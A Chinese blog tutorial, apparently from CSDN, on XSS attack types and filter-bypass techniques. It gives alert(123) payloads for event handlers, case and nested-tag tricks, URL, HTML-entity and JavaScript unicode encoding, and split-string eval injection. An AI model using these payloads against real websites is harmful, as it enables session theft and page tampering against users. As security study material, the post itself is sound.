一、XSS渗透与防御

一.XSS威胁方式

1.反射型XSS

解释:可在前端经过服务器注入XSS恶意代码,但不会对服务器存储内容做任何修改;有时经过服务器是由get发送请求,继而可以通过编辑恶意链接发送给被害者造成较大危害。

2.存储型XSS

解释:用户在前台输入恶意XSS代码,被存储在服务器里面,造成影响危害较大

3.DOM型XSS

解释:用户在前台输入恶意javascript代码操作页面;有时经过服务器是由get发送请求,继而可以通过编辑恶意链接发送给被害者造成较大危害。

二.XSS过滤

1.伪协议绕过

格式:

  1. <img src="1" onerror="javascript:alert(123)">
  2. <img src="1" onerror=alert(123)>
  3. <body onload='alert(123)'>
  4. <a href="javascript:alert(123)">aa</a>

2.大小写绕过

原理:程序员在编写代码疏忽了对小写内容的过滤
格式:

  1. <SCRIPT>alert(123)</SCRIPT>
  2. "><SCRIPT>alert(123)</SCRIPT>

3.替换绕过

原理:程序员在通过正则等方式将script输入过滤为空,这样里面的script被删除,后面的拼接在一起又组成了完成的javascript
格式:

  1. <scscriptript>alert(123)</scscriptript>
  2. "><scscriptript>alert(123)</scscriptript>

4.编码绕过

4.1 URL编码

原理:主要用如XSS后发给目标的阶段

前要:只能get请求到url里面显示,也就是把网页链接转化时使用
解释:可以编码特殊符号之类
在线网站:URL编码
格式:

  1. 原:http://w56556655655.xyzs/luck?id=<script>alert(123)</script>
  2. 转:http%3A%2F%2Fw56556655655.xyzs%2Fluck%3Fid%3D%3Cscript%3Ealert(123)%3C%2Fscript%3E

4.2 html实体编码

原理:主要过滤等于后的内容,不能转义标签,局限性大

前要:不能标签进行替换,例如可以替换伪类标签里面引号内容
解释:可以对字母数字特殊符号进行编码

4.2.1 10进制

在线网站:html实体编码
格式:

  1. 原:<img src="1" onerror=alert(123)>
  2. 转:<img src="1" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#50;&#51;&#41;">
4.2.2 16进制

在线网站:html16进制实体编码
格式:

  1. 原:<img src="1" onerror=alert(123)>
  2. 转:<img src="1" onerror="&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0032;&#x0033;&#x0029;">

4.3 javascript编码

原理:主要运用eval,用于被过滤onclick、onerror等函数上

前要:不能标签进行替换,主要替换标签里面的内容
解释:运用eval函数

4.3.1 16进制

在线网站:javascript \u16进制编码
格式:

  1. 原:<script>alert(123)</script>
  2. 转:<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0032\u0033\u0029')</script>

5.拆分跨站法

原理:主要针对目标在后台限制输入内容的情况

  1. 原:document.write('<script src="https://pss.bdstatic.com/r/www/cache/static/protocol/https/amd_modules/@baidu/search-sug_519d7fa.js"><\/script>')
  2. 转:
            z='document.write'/* 
            */z=z+"('<script src="/*
            */z=z+'"https://pss.bdstatic.com/r/www/cache/static/protocol/https/amd_modules/@baidu/search-sug_519d7fa.js"'/*
            */z=z+"><\/script>')"/*
            */eval(z)
            /*和*/用来注释其它内容

三.XSS经验

1.get请求

说明:现在get请求显示在url里面,特殊符号都会被编码,如果被编码成功,不会有xss注入

2.普通注入

说明:特殊符号被转义,xss注入也不会产生

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值